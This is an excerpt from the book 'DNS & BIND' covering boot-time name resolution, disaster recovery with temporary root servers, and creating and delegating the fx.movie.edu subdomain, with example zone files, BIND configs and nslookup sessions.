Unfortunately, the route command will fail without name service. The ifconfig command will fail only if the localhost's name and IP address don't appear in the host's /etc/hosts file, so it's a good idea to leave at least that data in each host's /etc/hosts.

By the time the startup sequence reaches the route command, the network interface will be up, and the host will use name service to map the name of the router to an IP address. And since the host has no default route until the route command is executed, the only name servers it can reach are those on the local subnet.

If the booting host can reach a working name server on its local subnet, it can execute the route command successfully. Quite often, however, one or more of the name servers it can reach aren't yet running. What happens then depends on the contents of resolv.conf.

In BIND 4.9 and BIND 8, the resolver will only fall back to the host table if there is only one name server listed in resolv.conf (or if no name server is listed, and the resolver defaults to using a name server on the local host). If only one name server is configured, the resolver will query it, and if the network returns an error each time the resolver sends a query, the resolver will fall back to searching the host table. The errors that cause the resolver to fall back include:

  • Receipt of an ICMP port unreachable message

  • Receipt of an ICMP network unreachable message

  • Inability to send the UDP packet (e.g., because networking is not yet running on the local host)[11]

    [11] Check Chapter 6, Configuring Hosts, for vendor-specific enhancements to and variants on this resolver algorithm.

If the host running the one configured name server isn't running at all, though, the resolver won't receive any errors. The name server is effectively a black hole. After about 75 seconds of trying, the resolver will just time out and return a null answer to the application that called it. Only if the name server host has actually started networking - but not yet started the name server - will the resolver get an error: an ICMP port unreachable message.

Overall, the single name server configuration does work if you have name servers available on each net, but perhaps not as elegantly as we might like. If the local name server hasn't come up when a host on its network reboots, the route command will fail.

This may seem awkward, but it's not nearly as bad as what happens with multiple servers. With multiple servers listed in resolv.conf, BIND never falls back to the host table after the primary network interface has been ifconfiged. The resolver simply loops through the name servers, querying them until one answers or the 75-plus second timeout is reached.

This is especially problematic during bootup. If none of the configured name servers are available, the resolver will time out without returning an IP address, and adding the default route will fail.

8.5.2 Recommendations

Our recommendation, as primitive as it sounds, is to hardcode the IP address of the default router into the startup file, or to use an external file (many systems use /etc/defaultrouter). This will ensure that your host's networking will start correctly.

An alternative is to list just a single, reliable name server on your host's local net in resolv.conf. This will allow you to use the name of the default router in the startup file, as long as you make sure that the router's name appears in /etc/hosts (in case your reliable name server isn't running when the host reboots). Of course, if the host running the reliable name server isn't running when your host reboots, all bets are off. You won't fall back to /etc/hosts, because there won't be any networking running to return an error to your host.

If your vendor's version of BIND allows configuration of the order in which services are queried, or will fall back from DNS to /etc/hosts if DNS doesn't find an answer, take advantage of it! In the former case, you can configure the resolver to check /etc/hosts first, and then keep a "stub" /etc/hosts file on each host, including the default router and the local host's name. In the latter situation, just make sure such a "stub" /etc/hosts exists; no other configuration should be necessary.

A last, promising prospect is to do away with setting the default route manually by using ICMP Router Discovery Messages. This extension to the ICMP protocol, described in RFC 1256, uses broadcast or multicast messages to dynamically discover and advertise routers on a network. Sun includes an implementation of this protocol in recent versions of Solaris as /usr/sbin/in.rdisc, and newer versions of Cisco's Internetwork Operating System (IOS) support it too.

And what if your default route is added correctly, but the name servers still haven't come up? This can affect sendmail, NFS, and a slew of other services. sendmail won't canonicalize host names correctly without DNS, and your NFS mounts may fail.

The best solution to this problem is to run a name server on a host with uninterruptible power. If you rarely experience extended power loss, battery backup might be enough. If your outages are longer, and name service is critical to you, you should consider an uninterruptible power system (UPS) with a generator of some kind.

If you can't afford luxuries like these, you might just try to track down the fastest booting host around and run a name server on it. Hosts with filesystem journaling should boot especially quickly, since they don't need to fsck. Hosts with small filesystems should boot quickly, too, since they don't have as much filesystem to check.

Once you've located the right host, you'll need to make sure the host's IP address appears in the resolv.conf files of all the hosts that need full-time name service. You'll probably want to list the backed-up host last, since during normal operation, hosts should use the name server closest to them. Then, after a power failure, your critical applications will still have name service, albeit at a small sacrifice in performance.

Previous: 8.4 Changing TTLs | DNS & BIND | Next: 8.6 Coping with Disaster
8.4 Changing TTLs | Book Index | 8.6 Coping with Disaster


[Chapter 8] 8.6 Coping with Disaster

DNS & BIND

DNS & BINDSearch this book
Previous: 8.5 Planning for Disasters Chapter 8
Growing Your Domain 		Next: 9. Parenting

8.6 Coping with Disaster

When disaster strikes, it really helps to know what to do. Knowing to duck under a sturdy table or desk during an earthquake can save you from being pinned under a toppling monitor. Knowing how to turn off your gas can save your house from conflagration.

Likewise, knowing what to do in a network disaster (or even just a minor mishap) can help you keep your network running. Living out in California, as we do, we have some experience and some suggestions.

8.6.1 Short Outages (Hours)

If your network is cut off from the outside world (whether "the outside world" is the rest of the Internet or the rest of your company), your name servers may start to have trouble resolving names. For example, if your domain, corp.acme.com, is cut off from the rest of the Acme Internet, you may not have access to your parent (acme.com) name servers, or to the root name servers.

You'd think this wouldn't impact communication between hosts in your local domain, but it can. For example, if you type:

% telnet selma.corp.acme.com

on a host running an older version of the resolver, the first domain name the resolver looks up will be selma.corp.acme.com.corp.acme.com (assuming your host is using the default search list - remember this from Chapter 6). The local domain name server, if it's authoritative for corp.acme.com, can tell that's not a kosher domain name. The following lookup, however, is for selma.corp.acme.com.acme.com. This prospective domain name is no longer in the corp.acme.com domain, so the query is sent to the acme.com name servers. Or rather your local name server tries to send the query there, and keeps retransmitting until it times out.

You can avoid this problem by making sure the first domain name the resolver looks up is the right one. Instead of typing:

% telnet selma.corp.acme.com

typing:

% telnet selma

or:

% telnet selma.corp.acme.com.

(note the trailing dot) will result in a lookup of selma.corp.acme.com first.

Note that BIND 4.9 and later resolvers don't have this problem, at least not by default. 4.9 and newer resolvers check the domain name as is first, as long as the name has more than one dot in it. So, if you tried:

% telnet selma.corp.acme.com

even without the trailing dot, the first name looked up would be selma.corp.acme.com.

If you are stuck running a 4.8.3 BIND or older resolver, you can avoid querying off-site name servers by taking advantage of the definable search list. You can use the search directive to define a search list that doesn't include your parent zone's domain name. For example, to work around the problem corp.acme.com is having, you could temporarily set your hosts' search lists to just:

search corp.acme.com

Now, when a user types:

% telnet selma.corp.acme.com

the resolver looks up selma.corp.acme.com.corp.acme.com first (which the local name server can answer), then selma.corp.acme.com, the correct domain name. And this works fine, too:

% telnet selma

works fine, too.

8.6.2 Longer Outages (Days)

If you lose network connectivity for a long time, your name servers may have other problems. If they lose connectivity to the root name servers for an extended period, they'll stop resolving queries outside their authoritative data. If the slaves can't reach their master, sooner or later they'll expire the zone.

In case your name service really goes haywire because of the connectivity loss, it's a good idea to keep a site-wide or workgroup /etc/hosts around. In times of dire need, you can move resolv.conf to resolv.bak, kill the local name server (if there is one), and just use /etc/hosts. It's not flashy, but it'll get you by.

As for slaves, you can reconfigure a slave that can't reach its master to run as a primary master. Just edit named.conf and change the type substatement in the zone statement from slave to master, then delete the master substatement. If more than one slave for the same zone is cut off, you can configure one as a primary master temporarily and reconfigure the other to load from the temporary primary.

Alternatively, you can just increase the expire time in all of your slaves' backup files and then signal the slaves to reload the files.

8.6.3 Really Long Outages (Weeks)

If an extended outage cuts you off from the Internet - say for a week or more - you may need to restore connectivity to root name servers artificially to get things working again. Every name server needs to talk to a root name server occasionally. It's a bit like therapy: the name server needs to contact the root to regain its perspective on the world.

To provide root name service during a long outage, you can set up your own root name servers, but only temporarily. Once you're reconnected to the Internet, you must shut off your temporary root servers. The most obnoxious vermin on the Internet are name servers that believe they're root name servers but don't know anything about most top-level domains. A close second is the Internet name server configured to query - and report - a false set of root name servers.

That said, and our alibis in place, here's what you have to do to configure your own root name server. First, you need to create a db.root file. The db.root file will delegate to the highest-level domain in your isolated network. For example, if movie.edu were to be isolated from the Internet, we might create a db.root file for terminator that looked like this:

. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                 1        ; Serial
                 10800    ; Refresh after 3 hours
                 3600     ; Retry after 1 hour
                 604800   ; Expire after 1 week
                 86400 )  ; Minimum TTL of 1 day

; Refresh, retry and expire really don't matter, since all
; roots are primaries.  Minimum TTL could be longer, since
; the data are likely to be stable.

  IN NS terminator.movie.edu. ; terminator is the temp. root

; Our root only knows about movie.edu and our two
; in-addr.arpa domains

movie.edu. 86400 IN NS terminator.movie.edu.
           86400 IN NS wormhole.movie.edu.

249.249.192.in-addr.arpa. 86400 IN NS terminator.movie.edu.
                          86400 IN NS wormhole.movie.edu.

253.253.192.in-addr.arpa. 86400 IN NS terminator.movie.edu.
                          86400 IN NS wormhole.movie.edu.

terminator.movie.edu. 86400 IN A 192.249.249.3
wormhole.movie.edu.   86400 IN A 192.249.249.1
                      86400 IN A 192.253.253.1

Then we need to add the appropriate line to terminator's named.conf file:

// Comment out hints zone
// zone . {
//              type hint;
//                      file "db.cache";
//              };

zone                    "."     {
                type master;
                file "db.root";
};

Or, for BIND 4's named.boot file:

; cache    .   db.cache  (comment out the cache directive)
primary  .   db.root

We then update all of our name servers (except the new, temporary root) with a db.cache file that includes just the temporary root (best to move the old cache file aside - we'll need it later, once connectivity is restored).

Here are the contents of the file db.cache:

.  99999999  IN  NS  terminator.movie.edu.

terminator.movie.edu.  IN  A  192.249.249.3

That will keep movie.edu name resolution going during the outage. Then, once Internet connectivity is restored, we can delete the zone statement from named.conf on terminator, and restore the original cache files on all our other name servers.

Previous: 8.5 Planning for Disasters | DNS & BIND | Next: 9. Parenting
8.5 Planning for Disasters | Book Index | 9. Parenting


[Chapter 9] Parenting

DNS & BIND

DNS & BINDSearch this book
Previous: 8.6 Coping with Disaster Chapter 9 Next: 9.2 How Many Children?

9. Parenting

Contents:
When to Become a Parent
How Many Children?
What to Name Your Children
How to Become a Parent: Creating Subdomains
Subdomains of in-addr.arpa Domains
Good Parenting
Managing the Transition to Subdomains
The Life of a Parent

The way Dinah washed her children's faces was this: first she held the poor thing down by its ear with one paw, and then with the other paw she rubbed its face all over, the wrong way, beginning at the nose: and just now, as I said, she was hard at work on the white kitten, which was lying quite still and trying to purr - no doubt feeling that it was all meant for its good.

Once your domain reaches a certain size, or you decide you need to distribute the management of parts of your domain to various entities within your organization, you'll want to divide the domain into subdomains. These subdomains will be the children of your current domain on the domain tree; your domain will be the parent. If you delegate responsibility for your subdomains to another organization, each becomes its own zone, separate from its parent zone. We like to call the management of your subdomains - your children - parenting.

Good parenting starts with carving up your domain sensibly, choosing appropriate names for your child domains, and then delegating the subdomains to create new zones. Responsible parents also work hard at maintaining the relationship between the name servers authoritative for their zone and its children; they ensure that delegation from parent to child is current and correct.

Good parenting is vital to the success of your network, especially as name service becomes critical to navigating between sites. Incorrect delegation to a child zone's name servers can render a site effectively unreachable, while the loss of connectivity to the parent zone's name servers can leave a site unable to reach any hosts outside the local zone.

In this chapter we present our views on when to create subdomains, and we go over how to create and delegate them in some detail. We also discuss management of the parent-child relationship and, finally, how to manage the process of carving up a large domain into smaller subdomains with a minimum of disruption and inconvenience.

9.1 When to Become a Parent

Far be it from us to tell you when you should become a parent, but we will be so bold as to offer you some guidelines. You may find some compelling reason to implement subdomains that isn't on our list, but here are some of the most common reasons:

  • A need to delegate or distribute management of the domain to a number of organizations

  • The large size of your domain - dividing it would make it easier to manage and offload the name servers for the domain

  • A need to distinguish hosts' organizational affiliation by including them in particular domains

Once you've decided to have children, the next question to ask yourself is, naturally, how many children to have.

Previous: 8.6 Coping with Disaster | DNS & BIND | Next: 9.2 How Many Children?
8.6 Coping with Disaster | Book Index | 9.2 How Many Children?


[Chapter 9] 9.2 How Many Children?

DNS & BIND

DNS & BINDSearch this book
Previous: 9.1 When to Become a Parent Chapter 9
Parenting 		Next: 9.3 What to Name Your Children

9.2 How Many Children?

Of course, you won't simply say, "I want to create four subdomains." Deciding how many child domains to implement is really choosing the organizational affiliation of your subdomains. For example, if your company has four branch offices, you might decide to create four subdomains, each of which corresponds to a branch office.

Should you create subdomains for each site, for each division, or even for each department? You have a lot of latitude in your choice because of DNS's scalability. You can create a few large subdomains or many small subdomains. There are trade-offs whichever you choose, though.

Delegating to a few large subdomains isn't much work for the parent domain, because there's not much delegation to keep track of. However, you wind up with larger subdomains, which require more memory and faster name servers, and administration isn't as distributed. If you implement site-level subdomains, for example, you may force autonomous or unrelated groups at a site to share a single name space and a single point of administration.

Delegating to many smaller subdomains can be a headache for the administrator of the parent. Keeping delegation data current involves keeping track of which hosts run name servers and which zones they're authoritative for. The data change each time a subdomain adds a new name server, or when the address of a name server for the subdomain changes. If the subdomains are all administered by different people, that means more administrators to train, more relationships for the parent administrator to maintain, and more overhead for the organization overall. On the other hand, the subdomains are smaller and easier to manage, and the administration is more widely distributed, allowing closer management of subdomain data.

Given the advantages and disadvantages of either alternative, it may seem difficult to make a choice. Actually, though, there's probably a natural division in your organization. Some companies manage computers and networks at the site level; others have decentralized, relatively autonomous workgroups that manage everything themselves. Here are a few basic rules to help you find the right way to carve up your name space:

  • Don't shoehorn your organization into a weird or uncomfortable domain structure. Trying to fit 50 independent, unrelated U.S. divisions into 4 regional subdomains may save you work (as the administrator of the parent zone), but it won't help your reputation. Decentralized, autonomous operations demand different domains - that's the raison d'阾re of the Domain Name System.

  • The structure of your domain should mirror the structure of your organization, especially your organization's support structure. If departments run networks, assign IP addresses, and manage hosts, then departments should manage the subdomains.

  • If you're not sure or can't agree about how the namespace should be organized, try to come up with guidelines for when a group within your organization can carve off their own subdomain (e.g., how many hosts do you need to create a new subdomain, what level of support must the group provide) and grow the namespace organically, only as needed.

Previous: 9.1 When to Become a Parent | DNS & BIND | Next: 9.3 What to Name Your Children
9.1 When to Become a Parent | Book Index | 9.3 What to Name Your Children


[Chapter 9] 9.3 What to Name Your Children

DNS & BIND

DNS & BINDSearch this book
Previous: 9.2 How Many Children? Chapter 9
Parenting 		Next: 9.4 How to Become a Parent: Creating Subdomains

9.3 What to Name Your Children

Once you've decided how many subdomains you'd like to create and what they correspond to, you should choose good names for them. Rather than unilaterally deciding on your subdomains' names, it's considered polite to involve your future subdomain administrators and their constituencies in the decision. In fact, you can leave the decision entirely to them, if you like.

This can lead to problems, though. It's nice to use a relatively consistent naming scheme across your subdomains. It makes it easier for users in one subdomain, or outside your domain entirely, to guess or remember your subdomain names, and to figure out in which domain a particular host or user lives.

Leaving the decision to the locals can result in naming chaos. Some will want to use geographical names, others will insist on organizational names. Some will want to abbreviate, others will want to use full names.

Therefore, it's often best to establish a naming convention before choosing subdomain names. Here are some suggestions from our experience:

  • In a dynamic company, the names of organizations can change frequently. Naming subdomains organizationally in a climate like this can be disastrous. One month the Relatively Advanced Technology (RAT) group seems stable enough, the next month they've been merged into the Questionable Computer Systems organization, and the following quarter they're all sold to a German conglomerate. Meanwhile, you're stuck with well-known hosts in a subdomain whose name no longer has any meaning.

  • Geographical names are more stable than organizational names, but sometimes not as well known. You may know that your famous Software Evangelism Business Unit is in Poughkeepsie or Waukegan, but people outside your company may have no idea where it is (and might have trouble spelling either name).

  • Don't sacrifice readability for convenience. Two-letter subdomain names may be easy to type, but impossible to recognize. Why abbreviate "Italy" to "it" and have it confused with your Information Technology organization, when for a paltry three more letters you can use the full name and eliminate any ambiguity?

  • Too many companies use cryptic, inconvenient domain names. The general rule seems to be: the larger the company, the more indecipherable the domain names. Buck the trend: make the names of your subdomains obvious!

  • Don't use existing or reserved top-level domain names as subdomain names. It might seem sensible to use two-letter country abbreviations for your international subdomains, or to use organizational top-level domain names like net for your networking organization, but it can cause nasty problems. For example, naming your Communications department's subdomain com might impede your ability to communicate with hosts under the top-level com domain. Imagine the administrators of your com subdomain naming their new Sun workstation sun and their new HP 9000 hp (they aren't the most imaginative folks): users anywhere within your domain sending mail to friends at sun.com or hp.com could have their letters end up in your com subdomain,[1] since the name of your parent zone may be in some of your hosts' search lists.

    [1] Actually, not all mailers have this problem, but some popular versions of sendmail do. It all depends on which form of canonicalization it does, as we discussed in the section entitled "Electronic Mail" in Chapter 6, Configuring Hosts.

Previous: 9.2 How Many Children? | DNS & BIND | Next: 9.4 How to Become a Parent: Creating Subdomains
9.2 How Many Children? | Book Index | 9.4 How to Become a Parent: Creating Subdomains


[Chapter 9] 9.4 How to Become a Parent: Creating Subdomains

DNS & BIND

DNS & BINDSearch this book
Previous: 9.3 What to Name Your Children Chapter 9
Parenting 		Next: 9.5 Subdomains of in-addr.arpa Domains

9.4 How to Become a Parent: Creating Subdomains

Once you've decided on names, creating child domains is easy. But first, you've got to decide how much autonomy you're going to give your subdomains. Odd that you have to decide that before you actually create them....

Thus far, we've assumed that if you create a subdomain, you'll want to delegate it to another organization, thereby making it a separate zone from the parent. Is this always true, though? Not necessarily.

Think carefully about how the computers and networks within a subdomain are managed when choosing whether or not to delegate it. It doesn't make sense to delegate a subdomain to an entity that doesn't manage its own hosts or nets. For example, in a large corporation, the personnel department probably doesn't run its own computers: the MIS (Management Information Systems) or IT (Information Technology - same animal as MIS) department manages them. So while you may want to create a subdomain for personnel, delegating management for that subdomain to them is probably wasted effort.

9.4.1 Creating a Subdomain in the Parent's Zone

You can create a subdomain without delegating it, however. How? By creating resource records that refer to the subdomain within the parent's zone. For example, movie.edu has a host that stores its complete database of employee and student records, brazil. To put brazil in the personnel.movie.edu domain, we could add records to db.movie.

Partial contents of file db.movie:

brazil.personnel      IN  A      192.253.253.10
                      IN  MX     10 brazil.personnel.movie.edu.
                      IN  MX     100 postmanrings2x.movie.edu.
employeedb.personnel  IN  CNAME  brazil.personnel.movie.edu.
db.personnel          IN  CNAME  brazil.personnel.movie.edu.

Now users can log into db.personnel.movie.edu to get to the employee database. We could make this setup especially convenient for personnel department employees by adding personnel.movie.edu to their PCs' or workstations' search lists; they'd only need to type telnet db to get to the right host.

We can make this more convenient for ourselves by using the $ORIGIN directive to change the origin to personnel.movie.edu so that we can use shorter names.

Partial contents of file db.movie:

$ORIGIN personnel.movie.edu.
brazil     IN A     192.253.253.10
           IN MX    10 brazil.personnel.movie.edu.
           IN MX    100 postmanrings2x.movie.edu.
employeedb IN CNAME brazil.personnel.movie.edu.
db         IN CNAME brazil.personnel.movie.edu.

If we had a few more records, we could create a separate file for them and use $INCLUDE to include it into db.movie and change the origin at the same time.

Notice there's no SOA record for personnel.movie.edu? There's no need for one, since the movie.edu SOA record indicates the start of authority for the entire movie.edu zone. Since there's no delegation to personnel.movie.edu, it's part of the movie.edu zone.

9.4.2 Creating and Delegating a Subdomain

If you decide to delegate your subdomains, to send your children out into the world, as it were, you'll need to do things a little differently. We're in the process of doing it now, so you can follow along with us.

We need to create a new subdomain of movie.edu for our special effects lab. We've chosen the name fx.movie.edu - short, recognizable, unambiguous. Because we're delegating fx.movie.edu to administrators in the lab, it'll be a separate zone. The hosts bladerunner and outland, both within the special effects lab, will serve as the zone's name servers (bladerunner will serve as the primary master). We've chosen to run two name servers for the domain for redundancy - a single fx.movie.edu name server would be a single point of failure that could effectively isolate the entire special effects lab. Since there aren't many hosts in the lab, though, we feel two name servers should be enough.

The special effects lab is on movie.edu's new 192.253.254 subnet.

Partial contents of /etc/hosts:

192.253.254.1 movie-gw.movie.edu movie-gw
# fx primary
192.253.254.2 bladerunner.fx.movie.edu bladerunner br
# fx secondary
192.253.254.3 outland.fx.movie.edu outland
192.253.254.4 starwars.fx.movie.edu starwars
192.253.254.5 empire.fx.movie.edu empire
192.253.254.6 jedi.fx.movie.edu jedi

First, we create a data file that includes records for all the hosts that will live in fx.movie.edu.

Contents of file db.fx:

@  IN  SOA  bladerunner.fx.movie.edu. hostmaster.fx.movie.edu. (
            1       ; serial
            10800   ; refresh every 3 hours
            3600    ; retry every hour
            604800  ; expire after a week
            86400 ) ; minimum TTL of 1 day

    IN  NS  bladerunner
    IN  NS  outland

; MX records for fx.movie.edu
    IN  MX  10 starwars
    IN  MX  100 wormhole.movie.edu.

; starwars handles bladerunner's mail
; wormhole is the movie.edu mail hub

bladerunner  IN  A   192.253.254.2
             IN  MX  10 starwars
             IN  MX  100 wormhole.movie.edu.

br           IN    CNAME    bladerunner

outland      IN  A   192.253.254.3
             IN  MX  10 starwars
             IN  MX  100 wormhole.movie.edu.

starwars     IN  A   192.253.254.4
             IN  MX  10 starwars
             IN  MX  100 wormhole.movie.edu.

empire       IN  A   192.253.254.5
             IN  MX  10 starwars
             IN  MX  100 wormhole.movie.edu.

jedi         IN  A   192.253.254.6
             IN  MX  10 starwars
             IN  MX  100 wormhole.movie.edu.

Then we create the db.192.253.254 file:

@  IN  SOA  bladerunner.fx.movie.edu. hostmaster.fx.movie.edu. (
            1       ; serial
            10800   ; refresh every 3 hours
            3600    ; retry every hour
            604800  ; expire after a week
            86400 ) ; minimum TTL of 1 day

       IN    NS    bladerunner.fx.movie.edu.
       IN    NS    outland.fx.movie.edu.

1      IN    PTR   movie-gw.movie.edu.
2      IN    PTR   bladerunner.fx.movie.edu.
3      IN    PTR   outland.fx.movie.edu.
4      IN    PTR   starwars.fx.movie.edu.
5      IN    PTR   empire.fx.movie.edu.
6      IN    PTR   jedi.fx.movie.edu.

Notice that the PTR record for 1.254.253.192.in-addr.arpa points to movie-gw.movie.edu. That's intentional. The router connects to the other movie.edu networks, so it really doesn't belong in the fx.movie.edu domain, and there's no requirement that all the PTR records in 254.253.192.in-addr.arpa map into a single domain - though they should correspond to the canonical names for those hosts.

Next, we create an appropriate named.conf file for the primary master:

options {
                directory "/usr/local/named";
};

zone "0.0.127.in-addr.arpa" {
                type master;
                file "db.127.0.0";
};

zone "fx.movie.edu" {
                type master;
                file "db.fx";
};

zone "254.253.192.in-addr.arpa" {
                type master;
                file "db.192.253.254";
};

zone "." {
                type hint;
                file "db.cache";
};

Here are the contents of the corresponding named.boot file for BIND 4:

directory     /usr/local/named

primary       0.0.127.in-addr.arpa      db.127.0.0  ; loopback
primary       fx.movie.edu              db.fx
primary       254.253.192.in-addr.arpa  db.192.253.254

cache         .                         db.cache

Of course, if we'd used h2n, we could have just run:

% h2n -d fx.movie.edu -n 192.253.254 -s bladerunner -s outland \
-u hostmaster.fx.movie.edu -m 10:starwars -m 100:wormhole.movie.edu

and saved ourselves some typing. h2n would have created essentially the same db.fx, db.192.253.254, and named.boot files.

Now we need to configure bladerunner's resolver. Actually, this may not require creating resolv.conf. If we set bladerunner's hostname to its new domain name, bladerunner.fx.movie.edu, the resolver can derive the local domain from the fully qualified domain name.

Next we start up the named process on bladerunner and check for syslog errors. If named starts okay, and there are no syslog errors that need tending to, we'll use nslookup to look up a few hosts in fx.movie.edu and in 254.253.192.in-addr.arpa:

Default Server:  bladerunner.fx.movie.edu
Address:  192.253.254.2

> jedi
Server:  bladerunner.fx.movie.edu
Address:  192.253.254.2
Name:    jedi.fx.movie.edu
Address:  192.253.253.6

> set type=mx
> empire
Server:  bladerunner.fx.movie.edu
Address:  192.253.254.2

empire.fx.movie.edu     preference = 10,
                        mail exchanger = starwars.fx.movie.edu
empire.fx.movie.edu     preference = 100,
                        mail exchanger = wormhole.movie.edu
starwars.fx.movie.edu   internet address = 192.253.254.4
 > ls fx.movie.edu
[bladerunner.fx.movie.edu]
            1D IN SOA    bladerunner.fx.movie.edu.
hostmaster.fx.movie.edu. (
                    1               ; serial
                    3H              ; refresh
                    1H              ; retry
                    1w1h            ; expire
                    1D )            ; minimum

            1D IN NS     bladerunner.fx.movie.edu.
            1D IN NS     outland.fx.movie.edu.
            1D IN MX     10 starwars.fx.movie.edu.
            1D IN MX     100 wormhole.movie.edu.
br.fx.movie.edu.       1D IN CNAME bladerunner.fx.movie.edu.
jedi.fx.movie.edu.     1D IN A     192.253.254.6
            1D IN MX     10 starwars.fx.movie.edu.
            1D IN MX     100 wormhole.movie.edu.
outland.fx.movie.edu.  1D IN A     192.253.254.3
            1D IN MX     10 starwars.fx.movie.edu.
            1D IN MX     100 wormhole.movie.edu.
starwars.fx.movie.edu. 1D IN A     192.253.254.4
            1D IN MX     10 starwars.fx.movie.edu.
            1D IN MX     100 wormhole.movie.edu.
bladerunner.fx.movie.edu.  1D IN A  192.253.254.2
            1D IN MX     10 starwars.fx.movie.edu.
            1D IN MX     100 wormhole.movie.edu.
empire.fx.movie.edu.     1D IN A     192.253.254.5
            1D IN MX     10 starwars.fx.movie.edu.
            1D IN MX     100 wormhole.movie.edu.
fx.movie.edu.       1D IN SOA    bladerunner.fx.movie.edu.
hostmaster.fx.movie.edu. (
                    1               ; serial
                    3H              ; refresh
                    1H              ; retry
                    1w1h            ; expire
                    1D )            ; minimum

 > set type=ptr
 > 192.253.254.3
Server:  bladerunner.fx.movie.edu
Address:  192.253.254.2

3.254.253.192.in-addr.arpa      name = outland.fx.movie.edu

> ls 254.253.192.in-addr.arpa.
[bladerunner.fx.movie.edu]
            1D IN SOA   bladerunner.fx.movie.edu.
hostmaster.fx.movie.edu. (
                    1               ; serial
                    3H              ; refresh
                    1H              ; retry
                    1w1h            ; expire
                    1D )            ; minimum

            1D IN NS    bladerunner.fx.movie.edu.
            1D IN NS    outland.fx.movie.edu.
6.254.253.192.in-addr.arpa.  1D IN PTR  jedi.fx.movie.edu.
1.254.253.192.in-addr.arpa.  1D IN PTR  movie-gw.movie.edu.
2.254.253.192.in-addr.arpa.  1D IN PTR  bladerunner.fx.movie.edu.
3.254.253.192.in-addr.arpa.  1D IN PTR  outland.fx.movie.edu.
4.254.253.192.in-addr.arpa.  1D IN PTR  starwars.fx.movie.edu.
5.254.253.192.in-addr.arpa.  1D IN PTR  empire.fx.movie.edu.
254.253.192.in-addr.arpa.  1D IN SOA  bladerunner.fx.movie.edu.
hostmaster.fx.movie.edu. (
                    1               ; serial
                    3H              ; refresh
                    1H              ; retry
                    1w1h            ; expire
                    1D )            ; minimum

 > ^D

The output looks reasonable, so it's safe to set up a slave name server for fx.movie.edu and to delegate fx.movie.edu from movie.edu.

9.4.3 An fx.movie.edu Slave

Setting up the slave name server for fx.movie.edu is simple: copy named.conf, db.127.0.0, and db.cache over from bladerunner, and edit named.conf and db.127.0.0 according to the instructions in Chapter 4, Setting Up BIND.

Contents of file named.conf:

options {
                directory "/usr/local/named";
};

zone "0.0.127.in-addr.arpa" {
                type slave;
                file "db.127.0.0";
                masters { 192.253.254.2; };
};

zone "fx.movie.edu" {
                type slave;
                file "db.fx";
                masters { 192.253.254.2; };
};

zone "254.253.192.in-addr.arpa" {
                type slave;
                file "db.192.253.254";
                masters { 192.253.254.2; };
};

zone "." {
                type hint;
                file "db.cache";
};

Or, the equivalent named.boot file:

directory  /usr/local/named

primary    0.0.127.in-addr.arpa      db.127.0.0
secondary  fx.movie.edu              192.253.254.2  db.fx
secondary  254.253.192.in-addr.arpa  192.253.254.2  db.192.253.254

cache      .                         db.cache

Like bladerunner, outland really doesn't need a resolv.conf file, as long as its hostname is set to outland.fx.movie.edu.

Again, we start named and check for errors in the syslog output. If the syslog output is clean, we'll look up a few records in fx.movie.edu.

9.4.4 On the movie.edu Primary Master

All that's left now is to delegate the fx.movie.edu domain to the new fx.movie.edu name servers on bladerunner and outland. We add the appropriate NS records to db.movie.

Partial contents of file db.movie:

fx    86400    IN    NS    bladerunner.fx.movie.edu.
      86400    IN    NS    outland.fx.movie.edu.

According to RFC 1034, the domain names in the resource record-specific portion of these two lines (bladerunner.fx.movie.edu and outland.fx.movie.edu) must be the canonical domain names for the name servers. A remote name server following delegation expects to find one or more address records attached to that domain name, not an alias (CNAME) record. Actually, the RFC extends this restriction to any type of resource record that includes a domain name as its value - all must specify the canonical domain name.

These two records alone aren't enough, though. Do you see the problem? How can a name server outside of fx.movie.edu look up information within fx.movie.edu? Well, a movie.edu name server would refer it to the name servers authoritative for fx.movie.edu, right? That's true, but the NS records in db.movie only give the names of the fx.movie.edu name servers. The foreign name server needs the IP addresses of the fx.movie.edu name servers in order to send queries to them. Who can give it those addresses? Only the fx.movie.edu name servers. A real chicken-and-egg problem!

The solution is to include the addresses of the fx.movie.edu name servers in the db.movie file. While these aren't strictly part of the movie.edu zone, they're necessary for delegation to fx.movie.edu to work. Of course, if the name servers for fx.movie.edu weren't within fx.movie.edu, these addresses - called glue records - wouldn't be necessary. A foreign name server would be able to find the address it needed by querying other name servers.

So, with the glue records, the records added look like the following partial contents of file db.movie:

fx    86400    IN    NS    bladerunner.fx.movie.edu.
      86400    IN    NS    outland.fx.movie.edu.
bladerunner.fx.movie.edu.  86400  IN  A  192.253.254.2
outland.fx.movie.edu.      86400  IN  A  192.253.254.3

Be sure you don't include unnecessary glue records in the file. Older BIND name servers (pre-4.9) load these records into their cache and give them out in referrals to other name servers. If the name server listed in the address record changes IP addresses and you forget to update the glue, your name server will continue giving out the outdated address information, resulting in poor resolution performance for name servers looking for data in the delegated zone, or even rendering them unable to resolve names in the delegated zone.

BIND 4.9 and BIND 8 will automatically ignore any glue you include that isn't strictly necessary, and will log the fact that it's ignored the record(s) to the slave's backup copy of the zone data. For example, if we had an NS record for movie.edu pointing to an off-site name server, ns-1.isp.net, and we made the mistake of including its address in db.movie on the movie.edu primary, we'd see:

; Ignoring info about ns-1.isp.net, not in zone movie.edu
; ns-1.isp.net 258983  IN      A       10.1.2.3

in db.movie on a movie.edu slave. Note that the extraneous A record has been commented out.

Also, remember to keep the glue up to date. If bladerunner gets a new network interface, and hence another IP address, then you should add another A record to the glue data.

We might also want to include aliases for any hosts moving into fx.movie.edu from movie.edu. For example, if we were to move plan9.movie.edu, a server with an important library of public domain special effects algorithms, into fx.movie.edu, we should create an alias under movie.edu pointing the old name to the new one:

plan9           IN      CNAME   plan9.fx.movie.edu.

This will allow people outside of movie.edu to reach plan9 even though they're using its old domain name, plan9.movie.edu.

You shouldn't put any information about domain names in fx.movie.edu into the db.movie file. The plan9 alias is actually in the movie.edu zone, so it belongs in db.movie. An alias pointing p9.fx.movie.edu to plan9.fx.movie.edu, on the other hand, is in the fx.movie.edu zone, and belongs in db.fx. If you were to put a record in the db file that was outside of the zone the file described, a BIND 4.9 name server would ignore it. Older name servers might load it into the cache or even into authoritative data, but since the behavior is unpredictable and is eliminated in newer versions of BIND, it's best to do it the right way even if the software doesn't force you to.

9.4.5 Delegating an in-addr.arpa Zone

We almost forgot to delegate the 254.253.192.in-addr.arpa zone! This is a little trickier than delegating fx.movie.edu, because we don't manage the parent zone.

